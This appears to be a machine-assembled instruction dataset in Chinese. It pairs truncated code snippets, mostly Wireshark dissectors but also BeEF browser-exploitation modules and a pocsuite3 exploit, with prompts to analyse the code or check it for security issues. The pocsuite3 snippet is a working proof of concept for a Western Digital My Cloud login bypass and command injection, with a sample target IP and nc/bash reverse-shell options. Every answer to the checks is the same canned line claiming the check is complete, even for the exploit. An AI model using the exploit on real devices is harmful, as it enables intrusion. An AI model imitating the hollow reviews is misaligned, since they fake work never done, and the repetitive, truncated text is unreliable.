#define DLEP_DIT_PEERTYPE_MINLEN    1     /* variable length */
#define DLEP_DIT_HEARTBEAT_LEN      4
/* EXTSUPP has variable, non-negative length */
#define DLEP_DIT_MACADDR_EUI48_LEN  6
#define DLEP_DIT_MACADDR_EUI64_LEN  8
#define DLEP_DIT_V4ADDR_LEN         5
#define DLEP_DIT_V6ADDR_LEN         17
#define DLEP_DIT_V4SUBNET_LEN       6
#define DLEP_DIT_V6SUBNET_LEN       18
#define DLEP_DIT_MDRR_LEN           8
#define DLEP_DIT_MDRT_LEN           8
#define DLEP_DIT_CDRR_LEN           8
#define DLEP_DIT_CDRT_LEN           8
#define DLEP_DIT_LAT_LEN            8
#define DLEP_DIT_RES_LEN            1
#define DLEP_DIT_RLQR_LEN           1
#define DLEP_DIT_RLQT_LEN           1
#d...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dlep.c
 * Routines for DLEP protocol packet disassembly
 *
 * Copyright (C) 2019 Massachusetts Institute of Technology
 *
 * Original code from https://github.com/mit-ll/dlep-wireshark-dissector
 * Original Author: Jeffrey Wildman <jeffrey.wildman@ll.mit.edu>
 *
 * Extended and supplemented by Uli Heilmeier <uh@heilmeier.eu>, 2020
 * Extended by:
 * RFC 8757 Latency Range Extension
 * RFC 8629 Multi-Hop Forwarding Extension
 * RFC 8703 Link Identifier Extension
 * TODO: Decoding of RFC 8651 Control-Plane-Based Pause Extension needs to be implemented
 *
 * SPDX-License-Identifier: MIT
 *
 */

#include "config.h"

#include <epan/ftypes/ftypes.h> /* for fieldtype lengths */
#include <epan/exceptions.h>
#include <epan/expert.h>
#include <epan/ipproto.h>       /* for IP_PROTO_TCP and IP_PROTO_UDP */
#include <epan/packet.h>
#include <epan/packet_info.h>   /* for struct packet_info */
#include <epan/prefs.h>
#include <epan/tvbuff.h>
#include <epan/to_str.h>
#include <epan/tfs.h>

#include "packet-tcp.h"

/* Section 13: DLEP Data Items */

/* DLEP Data Item Lengths (bytes) */
#define DLEP_DIT_STATUS_MINLEN      1     /* variable length */
#define DLEP_DIT_V4CONN_LEN         5
#define DLEP_DIT_V4CONN_WPORT_LEN   7
#define DLEP_DIT_V6CONN_LEN         17
#define DLEP_DIT_V6CONN_WPORT_LEN   19
#define DLEP_DIT_PEERTYPE_MINLEN    1     /* variable length */
#define DLEP_DIT_HEARTBEAT_LEN      4
/* EXTSUPP has variable, non-negative length */
#define DLEP_DIT_MACADDR_EUI48_LEN  6
#define DLEP_DIT_MACADDR_EUI64_LEN  8
#define DLEP_DIT_V4ADDR_LEN         5
#define DLEP_DIT_V6ADDR_LEN         17
#define DLEP_DIT_V4SUBNET_LEN       6
#define DLEP_DIT_V6SUBNET_LEN       18
#define DLEP_DIT_MDRR_LEN           8
#define DLEP_DIT_MDRT_LEN           8
#define DLEP_DIT_CDRR_LEN           8
#define DLEP_DIT_CDRT_LEN           8
#define DLEP_DIT_LAT_LEN            8
#define DLEP_DIT_RES_LEN            1
#define DLEP_DIT_RLQR_LEN           1
#define DLEP_DIT_RLQT_LEN           1
#d...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-acap.c
 * Routines for ACAP packet dissection
 * RFC 2244
 * Copyright 2003, Brad Hards <bradh@frogmouth.net>
 * Heavily based in packet-imap.c, Copyright 1999, Richard Sharpe <rsharpe@ns.aus.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>

/* Forward declarations */
void proto_register_acap(void);
void proto_reg_handoff_acap(void);

static dissector_handle_t acap_handle;

static int proto_acap = -1;

static int hf_acap_request = -1;
static int hf_acap_request_data = -1;
static int hf_acap_request_tag = -1;
static int hf_acap_response = -1;
static int hf_acap_response_data = -1;
static int hf_acap_response_tag = -1;

static gint ett_acap = -1;
static gint ett_acap_reqresp = -1;

#define TCP_PORT_ACAP           674

static int
dissect_acap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    gboolean      is_request;
    proto_tree   *acap_tree, *reqresp_tree;
    proto_item   *ti, *hidden_item;
    gint          offset = 0;
    const guchar *line;
    gint          next_offset;
    int           linelen;
    int           tokenlen;
    const guchar *next_token;

    /*
     * If this should be a request or response, do this quick check to see if
     * it begins with a string...
     * Otherwise, looking for the end of line in a binary file can take a long time
     * and this probably isn't ACAP
     */
    if (!g_ascii_isprint(tvb_get_guint8(tvb, offset))) {
        return 0;
    }

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "ACAP");

    /*
     * Find the end of the first line.
     *
     * Note that "tvb_find_line_end()" will return a value that is
     * not longer than what's in the buffer, so the "tvb_get_ptr()"
     * call won't throw an exception.
     */
    linelen = tvb_find_line_end(tvb, offse...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-acap.c
 * Routines for ACAP packet dissection
 * RFC 2244
 * Copyright 2003, Brad Hards <bradh@frogmouth.net>
 * Heavily based in packet-imap.c, Copyright 1999, Richard Sharpe <rsharpe@ns.aus.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * Copied from packet-imap.c
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
#include "config.h"

#include <epan/packet.h>
#include <epan/strutil.h>

/* Forward declarations */
void proto_register_acap(void);
void proto_reg_handoff_acap(void);

static dissector_handle_t acap_handle;

static int proto_acap = -1;

static int hf_acap_request = -1;
static int hf_acap_request_data = -1;
static int hf_acap_request_tag = -1;
static int hf_acap_response = -1;
static int hf_acap_response_data = -1;
static int hf_acap_response_tag = -1;

static gint ett_acap = -1;
static gint ett_acap_reqresp = -1;

#define TCP_PORT_ACAP           674

static int
dissect_acap(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
    gboolean      is_request;
    proto_tree   *acap_tree, *reqresp_tree;
    proto_item   *ti, *hidden_item;
    gint          offset = 0;
    const guchar *line;
    gint          next_offset;
    int           linelen;
    int           tokenlen;
    const guchar *next_token;

    /*
     * If this should be a request or response, do this quick check to see if
     * it begins with a string...
     * Otherwise, looking for the end of line in a binary file can take a long time
     * and this probably isn't ACAP
     */
    if (!g_ascii_isprint(tvb_get_guint8(tvb, offset))) {
        return 0;
    }

    col_set_str(pinfo->cinfo, COL_PROTOCOL, "ACAP");

    /*
     * Find the end of the first line.
     *
     * Note that "tvb_find_line_end()" will return a value that is
     * not longer than what's in the buffer, so the "tvb_get_ptr()"
     * call won't throw an exception.
     */
    linelen = tvb_find_line_end(tvb, offse...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
    vulID = '97550'
    version = '3'
    author = ['seebug']
    vulDate = '2018-09-25'
    createDate = '2018-09-25'
    updateDate = '2018-09-25'
    references = ['https://www.seebug.org/vuldb/ssvid-97550']
    name = 'Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行'
    appPowerLink = 'https://www.wdc.com/en-us/'
    appName = 'WD NAS 登陆绕过导致无限远程命令执行'
    appVersion = ''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
    '''
    samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}

        veri_url1 = urljoin(self.url, '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1')
        veri_url2 = urljoin(self.url, '/web/dsdk/DsdkProxy.php')
        cmd = 'cat /proc/cpuinfo'
        data = "';{};'".format(cmd)
        headers = {'cookie': 'isAdmin=1;username=admin'}
        try:
            requests.get(veri_url1)
            resp = requests.post(veri_url2, data=data, headers=headers)
            if any(keyword in resp.text for keyword in ['Processor', 'BogoMIPS', 'Hardware', 'Revision']):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        except Exception as e:
            logger.warn(str(e))
        return self.parse_verify(result)

    d...


Instruction: 检查这段代码是否存在安全问题

Input:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""
from collections import OrderedDict
from urllib.parse import urljoin

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
    vulID = '97550'
    version = '3'
    author = ['seebug']
    vulDate = '2018-09-25'
    createDate = '2018-09-25'
    updateDate = '2018-09-25'
    references = ['https://www.seebug.org/vuldb/ssvid-97550']
    name = 'Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行'
    appPowerLink = 'https://www.wdc.com/en-us/'
    appName = 'WD NAS 登陆绕过导致无限远程命令执行'
    appVersion = ''
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        Western Digital My Cloud（NAS）登录绕过导致无限制远程命令执行
    '''
    samples = ['96.234.71.117:80']
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o

    def _verify(self):
        result = {}

        veri_url1 = urljoin(self.url, '/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1')
        veri_url2 = urljoin(self.url, '/web/dsdk/DsdkProxy.php')
        cmd = 'cat /proc/cpuinfo'
        data = "';{};'".format(cmd)
        headers = {'cookie': 'isAdmin=1;username=admin'}
        try:
            requests.get(veri_url1)
            resp = requests.post(veri_url2, data=data, headers=headers)
            if any(keyword in resp.text for keyword in ['Processor', 'BogoMIPS', 'Hardware', 'Revision']):
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
        except Exception as e:
            logger.warn(str(e))
        return self.parse_verify(result)

    d...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* stanag4607.c
 *
 * STANAG 4607 file reading
 *
 * http://www.nato.int/structur/AC/224/standard/4607/4607e_JAS_ED3.pdf
 * That is now missing from that site, but is available on the Wayback
 * Machine:
 *
 * https://web.archive.org/web/20130223054955/http://www.nato.int/structur/AC/224/standard/4607/4607.htm
 *
 * https://nso.nato.int/nso/zPublic/ap/aedp-7(2).pdf
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "stanag4607.h"

typedef struct {
  time_t base_secs;
} stanag4607_t;

#define PKT_HDR_SIZE  32 /* size of a packet header */
#define SEG_HDR_SIZE  5  /* size of a segment header */

static int stanag4607_file_type_subtype = -1;

void register_stanag4607(void);

static gboolean is_valid_id(guint16 version_id)
{
#define VERSION_21 0x3231
#define VERSION_30 0x3330
  if ((version_id != VERSION_21) &&
      (version_id != VERSION_30))
     /* Not a stanag4607 file */
     return FALSE;
  return TRUE;
}

static gboolean stanag4607_read_file(wtap *wth, FILE_T fh, wtap_rec *rec,
                               Buffer *buf, int *err, gchar **err_info)
{
  stanag4607_t *stanag4607 = (stanag4607_t *)wth->priv;
  guint32 millisecs, secs, nsecs;
  gint64 offset = 0;
  guint8 stanag_pkt_hdr[PKT_HDR_SIZE+SEG_HDR_SIZE];
  guint32 packet_size;

  *err = 0;

  /* Combined packet header and segment header */
  if (!wtap_read_bytes_or_eof(fh, stanag_pkt_hdr, sizeof stanag_pkt_hdr, err, err_info))
    return FALSE;
  offset += sizeof stanag_pkt_hdr;

  if (!is_valid_id(pntoh16(&stanag_pkt_hdr[0]))) {
    *err = WTAP_ERR_BAD_FILE;
    *err_info = g_strdup("Bad version number");
    return FALSE;
  }

  rec->rec_type = REC_TYPE_PACKET;
  rec->block = wtap_block_create(WTAP_BLOCK_PACKET);

  /* The next 4 bytes are the packet length */
  packet_size = pntoh32(&stanag_pkt_hdr[2]);
  if (packet_size > WTAP_MAX_PACKET_SIZE_STANDARD) {
    /*
     * Probably a corrupt capture f...


Instruction: 检查这段代码是否存在安全问题

Input:
/* stanag4607.c
 *
 * STANAG 4607 file reading
 *
 * http://www.nato.int/structur/AC/224/standard/4607/4607e_JAS_ED3.pdf
 * That is now missing from that site, but is available on the Wayback
 * Machine:
 *
 * https://web.archive.org/web/20130223054955/http://www.nato.int/structur/AC/224/standard/4607/4607.htm
 *
 * https://nso.nato.int/nso/zPublic/ap/aedp-7(2).pdf
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include "wtap-int.h"
#include "file_wrappers.h"
#include <wsutil/buffer.h>
#include "stanag4607.h"

typedef struct {
  time_t base_secs;
} stanag4607_t;

#define PKT_HDR_SIZE  32 /* size of a packet header */
#define SEG_HDR_SIZE  5  /* size of a segment header */

static int stanag4607_file_type_subtype = -1;

void register_stanag4607(void);

static gboolean is_valid_id(guint16 version_id)
{
#define VERSION_21 0x3231
#define VERSION_30 0x3330
  if ((version_id != VERSION_21) &&
      (version_id != VERSION_30))
     /* Not a stanag4607 file */
     return FALSE;
  return TRUE;
}

static gboolean stanag4607_read_file(wtap *wth, FILE_T fh, wtap_rec *rec,
                               Buffer *buf, int *err, gchar **err_info)
{
  stanag4607_t *stanag4607 = (stanag4607_t *)wth->priv;
  guint32 millisecs, secs, nsecs;
  gint64 offset = 0;
  guint8 stanag_pkt_hdr[PKT_HDR_SIZE+SEG_HDR_SIZE];
  guint32 packet_size;

  *err = 0;

  /* Combined packet header and segment header */
  if (!wtap_read_bytes_or_eof(fh, stanag_pkt_hdr, sizeof stanag_pkt_hdr, err, err_info))
    return FALSE;
  offset += sizeof stanag_pkt_hdr;

  if (!is_valid_id(pntoh16(&stanag_pkt_hdr[0]))) {
    *err = WTAP_ERR_BAD_FILE;
    *err_info = g_strdup("Bad version number");
    return FALSE;
  }

  rec->rec_type = REC_TYPE_PACKET;
  rec->block = wtap_block_create(WTAP_BLOCK_PACKET);

  /* The next 4 bytes are the packet length */
  packet_size = pntoh32(&stanag_pkt_hdr[2]);
  if (packet_size > WTAP_MAX_PACKET_SIZE_STANDARD) {
    /*
     * Probably a corrupt capture f...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Change Log
All notable changes to this project will be documented in this file.

## [ 1.3.4 ]
### Fixed
* Minor fixes

### Added
* Add support for [Checkout Fields Manager](https://easydigitaldownloads.com/downloads/checkout-fields-manager/) addon.

## [ 1.3.3 ]
### Fixed
* Fixed deprecated function signature

## [ 1.3.2 ]
### Fixed
* Undefined index issues.
* Translate post_id for edd-fes pages.

### Added
* Multilingual downloads handling options.

## [ 1.2.2 ] - 2016-09-09
### Fixed
* Fixed deprecated calls.
* Fixed WPML header for some admin pages is now disabled

### Added
* Added language column to payments history table

### Removed
* Removed synchronization and recalculation option
* Removed Crowdfunding plug-in support


Instruction: 检查这段代码是否存在安全问题

Input:
# Change Log
All notable changes to this project will be documented in this file.

## [ 1.3.4 ]
### Fixed
* Minor fixes

### Added
* Add support for [Checkout Fields Manager](https://easydigitaldownloads.com/downloads/checkout-fields-manager/) addon.

## [ 1.3.3 ]
### Fixed
* Fixed deprecated function signature

## [ 1.3.2 ]
### Fixed
* Undefined index issues.
* Translate post_id for edd-fes pages.

### Added
* Multilingual downloads handling options.

## [ 1.2.2 ] - 2016-09-09
### Fixed
* Fixed deprecated calls.
* Fixed WPML header for some admin pages is now disabled

### Added
* Added language column to payments history table

### Removed
* Removed synchronization and recalculation option
* Removed Crowdfunding plug-in support

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* file-pcapng-darwin.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#include <epan/dissectors/file-pcapng.h>

/*
 * Apple's Pcapng Darwin Process Event Block
 *
 *    A Darwin Process Event Block (DPEB) is an Apple defined container
 *    for information describing a Darwin process.
 *
 *    Tools that write / read the capture file associate an incrementing
 *    32-bit number (starting from '0') to each Darwin Process Event Block,
 *    called the DPEB ID for the process in question.  This number is
 *    unique within each Section and identifies a specific DPEB; a DPEB ID
 *    is only unique inside the current section. Two Sections can have different
 *    processes identified by the same DPEB ID values.  DPEB ID are referenced
 *    by Enhanced Packet Blocks that include options to indicate the Darwin
 *    process to which the EPB refers.
 *
 *
 *         0                   1                   2                   3
 *         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 *         +---------------------------------------------------------------+
 *       0 |                   Block Type = 0x80000001                     |
 *         +---------------------------------------------------------------+
 *       4 |                     Block Total Length                        |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *       8 |                          Process ID                           |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *      12 /                                                               /
 *         /                      Options (variable)                       /
 *         /                                                               /
 *         +-+-+-+...


Instruction: 检查这段代码是否存在安全问题

Input:
/* file-pcapng-darwin.c
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/addr_resolv.h>

#include <epan/dissectors/file-pcapng.h>

/*
 * Apple's Pcapng Darwin Process Event Block
 *
 *    A Darwin Process Event Block (DPEB) is an Apple defined container
 *    for information describing a Darwin process.
 *
 *    Tools that write / read the capture file associate an incrementing
 *    32-bit number (starting from '0') to each Darwin Process Event Block,
 *    called the DPEB ID for the process in question.  This number is
 *    unique within each Section and identifies a specific DPEB; a DPEB ID
 *    is only unique inside the current section. Two Sections can have different
 *    processes identified by the same DPEB ID values.  DPEB ID are referenced
 *    by Enhanced Packet Blocks that include options to indicate the Darwin
 *    process to which the EPB refers.
 *
 *
 *         0                   1                   2                   3
 *         0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
 *         +---------------------------------------------------------------+
 *       0 |                   Block Type = 0x80000001                     |
 *         +---------------------------------------------------------------+
 *       4 |                     Block Total Length                        |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *       8 |                          Process ID                           |
 *         +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
 *      12 /                                                               /
 *         /                      Options (variable)                       /
 *         /                                                               /
 *         +-+-+-+...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

class Jsonp_service_worker < BeEF::Core::Command
  def post_execute
    save({ 'result' => @datastore['result'] })
  end

  def self.options
    [
      { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' },
      { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users',
        'value' => '<h3>Unplanned site maintenance, please wait a few seconds, we are almost done.</h3>' }
    ]
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
class Jsonp_service_worker < BeEF::Core::Command
  def post_execute
    save({ 'result' => @datastore['result'] })
  end

  def self.options
    [
      { 'name' => 'JSONPPath', 'ui_label' => 'Path of the current domain compromized JSONP endpoint (ex: /jsonp?callback=)', 'value' => '/jsonp?callback=' },
      { 'name' => 'tempBody', 'ui_label' => 'Temporary HTML body to show to the users',
        'value' => '
Unplanned site maintenance, please wait a few seconds, we are almost done.
' }
    ]
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_irc < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Port', 'value' => '6667' },
      { 'name' => 'nick',    'ui_label' => 'Username',   'value' => 'user1234__' },
      { 'name' => 'channel', 'ui_label' => 'Channel',    'value' => '#channel1' },
      { 'name' => 'message', 'ui_label' => 'Message',    'value' => 'Message sent from the Browser Exploitation Framework!' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Inter_protocol_irc < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'IRC Server', 'value' => '127.0.0.1' },
      { 'name' => 'rport',   'ui_label' => 'Port', 'value' => '6667' },
      { 'name' => 'nick',    'ui_label' => 'Username',   'value' => 'user1234__' },
      { 'name' => 'channel', 'ui_label' => 'Channel',    'value' => '#channel1' },
      { 'name' => 'message', 'ui_label' => 'Message',    'value' => 'Message sent from the Browser Exploitation Framework!' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

<link rel="canonical" href="https://ex.lo/" />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-content/plugins/crayon-syntax-highlighter/css/min/crayon.min.css' type='text/css' media='all' />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' />


Instruction: 检查这段代码是否存在安全问题

Input:
<link rel="canonical" href="https://ex.lo/" />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-content/plugins/crayon-syntax-highlighter/css/min/crayon.min.css' type='text/css' media='all' />

<link rel='stylesheet' href='https://aaa.cloudfront.net/wp-includes/css/dist/block-library/style.min.css' type='text/css' media='all' />

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-qllc.c
 * Routines for QLLC protocol - Qualified? LLC
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_qllc(void);
void proto_reg_handoff_qllc(void);

static int proto_qllc = -1;
static int hf_qllc_address = -1;
static int hf_qllc_control = -1;

static gint ett_qllc = -1;

static dissector_handle_t sna_handle;

#define QSM                 0x93
#define QDISC               0x53
#define QXID                0xbf
#define QTEST               0xf3
#define QRR                 0xf1
#define QRD                 0x53
#define QUA                 0x73
#define QDM                 0x1f
#define QFRMR               0x97
#define QUI                 0x03
#define QUI_NO_REPLY        0x13
#define QSIM                0x17

#define QRD_QDISC_VALUE     0x53
#define QDISC_TEXT          "QDISC"
#define QRD_TEXT            "QRD"

/* Control Field */
static const value_string qllc_control_vals[] = {
    { QUI,          "QUI" },
    { QUI_NO_REPLY, "QUI - reply required" },
    { QSIM,         "QSIM" },
    { QDM,          "QDM" },
    { QUA,          "QUA" },
    { QSM,          "QSM" },
    { QFRMR,        "QFRMR" },
    { QXID,         "QXID" },
    { QRR,          "QRR" },
    { QTEST,        "QTEST" },
    { QDISC,        "QDISC / QRD" }, /* Same value for QDISC and QRD (following it is a COMMAND or RESPONSE) */
    { 0x00, NULL },
};

static int
dissect_qllc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data)
{
    proto_tree *qllc_tree;
    proto_item *qllc_ti;
    gboolean   *q_bit_set;
    guint8      addr, ctrl;
    gboolean    command = FALSE;

    /* Reject the packet if data is NULL */
    if (data == NULL)
        return 0;
    q_bit_set = (gboolean *)data;

    /*
     * If the Q bit isn't set, this is just SNA data.
     */
    if ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-qllc.c
 * Routines for QLLC protocol - Qualified? LLC
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 2001 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

void proto_register_qllc(void);
void proto_reg_handoff_qllc(void);

static int proto_qllc = -1;
static int hf_qllc_address = -1;
static int hf_qllc_control = -1;

static gint ett_qllc = -1;

static dissector_handle_t sna_handle;

#define QSM                 0x93
#define QDISC               0x53
#define QXID                0xbf
#define QTEST               0xf3
#define QRR                 0xf1
#define QRD                 0x53
#define QUA                 0x73
#define QDM                 0x1f
#define QFRMR               0x97
#define QUI                 0x03
#define QUI_NO_REPLY        0x13
#define QSIM                0x17

#define QRD_QDISC_VALUE     0x53
#define QDISC_TEXT          "QDISC"
#define QRD_TEXT            "QRD"

/* Control Field */
static const value_string qllc_control_vals[] = {
    { QUI,          "QUI" },
    { QUI_NO_REPLY, "QUI - reply required" },
    { QSIM,         "QSIM" },
    { QDM,          "QDM" },
    { QUA,          "QUA" },
    { QSM,          "QSM" },
    { QFRMR,        "QFRMR" },
    { QXID,         "QXID" },
    { QRR,          "QRR" },
    { QTEST,        "QTEST" },
    { QDISC,        "QDISC / QRD" }, /* Same value for QDISC and QRD (following it is a COMMAND or RESPONSE) */
    { 0x00, NULL },
};

static int
dissect_qllc(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data)
{
    proto_tree *qllc_tree;
    proto_item *qllc_ti;
    gboolean   *q_bit_set;
    guint8      addr, ctrl;
    gboolean    command = FALSE;

    /* Reject the packet if data is NULL */
    if (data == NULL)
        return 0;
    q_bit_set = (gboolean *)data;

    /*
     * If the Q bit isn't set, this is just SNA data.
     */
    if ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-PROTOABBREV.c
 * Routines for PROTONAME dissection
 * Copyright YEARS, YOUR_NAME <YOUR_EMAIL_ADDRESS>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: LICENSE
 */

/*
 * (A short description of the protocol including links to specifications,
 *  detailed documentation, etc.)
 */

#include "config.h"
/* Define the name for the logging domain (try to avoid collisions with existing domains) */
#define WS_LOG_DOMAIN "PROTOABBREV"

/* Global header providing a minimum base set of required macros and APIs */
#include <wireshark.h>

#if 0
/* "System" includes used only as needed */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
...
#endif

#include <epan/packet.h>   /* Required dissection API header */
#include <epan/expert.h>   /* Include only as needed */
#include <epan/prefs.h>    /* Include only as needed */

#if 0
/* IF AND ONLY IF your protocol dissector exposes code to other dissectors
 * (which most dissectors don't need to do) then the 'public' prototypes and
 * data structures can go in the header file packet-PROTOABBREV.h. If not, then
 * a header file is not needed at all and this #include statement can be
 * removed. */
#include "packet-PROTOABBREV.h"
#endif

/* Some protocols may need code from other dissectors, as here for
 * ssl_dissector_add()
 */
#include "packet-tls.h"

/* Prototypes */
/* (Required to prevent [-Wmissing-prototypes] warnings */
void proto_reg_handoff_PROTOABBREV(void);
void proto_register_PROTOABBREV(void);

/* Initialize the protocol and registered fields */
static int proto_PROTOABBREV = -1;
static int hf_FIELDABBREV = -1;
static expert_field ei_PROTOABBREV_EXPERTABBREV = EI_INIT;

static dissector_handle_t PROTOABBREV_handle;
static dissector_handle_t PROTOABBREV_tls_handle;

/* Global sample preference ("controls" display of numbers) */
static bool pref_hex = false;
/* Global sample port preference - real port prefe...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-PROTOABBREV.c
 * Routines for PROTONAME dissection
 * Copyright YEARS, YOUR_NAME <YOUR_EMAIL_ADDRESS>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: LICENSE
 */

/*
 * (A short description of the protocol including links to specifications,
 *  detailed documentation, etc.)
 */

#include "config.h"
/* Define the name for the logging domain (try to avoid collisions with existing domains) */
#define WS_LOG_DOMAIN "PROTOABBREV"

/* Global header providing a minimum base set of required macros and APIs */
#include <wireshark.h>

#if 0
/* "System" includes used only as needed */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
...
#endif

#include <epan/packet.h>   /* Required dissection API header */
#include <epan/expert.h>   /* Include only as needed */
